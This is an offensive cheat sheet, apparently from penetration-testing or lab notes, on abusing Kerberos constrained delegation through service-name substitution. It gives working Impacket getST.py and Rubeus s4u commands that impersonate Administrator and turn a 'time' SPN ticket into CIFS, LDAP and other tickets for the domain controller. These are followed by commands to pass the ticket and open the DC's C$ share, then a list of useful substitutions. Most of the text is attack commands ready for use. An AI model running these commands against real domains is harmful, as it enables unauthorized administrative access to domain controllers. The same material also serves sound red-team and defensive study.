Service-name substitution is used when the delegated SPN is valid but not operationally useful. The delegation check happens against the original SPN, while the final service name can sometimes be changed to another service class on the same host if both services run under the same account.
Linux altservice
getST.py -spn 'time/dc01.ootw.local' -altservice 'cifs/dc01.ootw.local' -impersonate Administrator -dc-ip 10.10.10.200 'ootw.local/svc_delegate:Password123!'
export KRB5CCNAME=Administrator.ccache
smbclient -k //dc01.ootw.local/C$
Windows altservice
Rubeus.exe s4u /user:svc_delegate /rc4:<NTLM_HASH> /impersonateuser:Administrator /msdsspn:time/dc01.ootw.local /altservice:cifs /ptt
klist
dir \\dc01.ootw.local\c$
Multiple service classes
Rubeus.exe s4u /user:svc_delegate /rc4:<NTLM_HASH> /impersonateuser:Administrator /msdsspn:time/dc01.ootw.local /altservice:cifs,host,http,ldap,wsman /ptt
Useful substitutions
time/host to cifs/host
http/host to cifs/host if same service account
host/host to cifs/host
ldap/dc to cifs/dc only if service account context allows it
Notes
This works because the service name field is not encrypted in the same way as the ticket body. The target service still has to decrypt the ticket, so the substituted service must run under the same account key as the original service.
Do not treat altservice as cross-host access. It is a service-class substitution on the same host or same service-account context.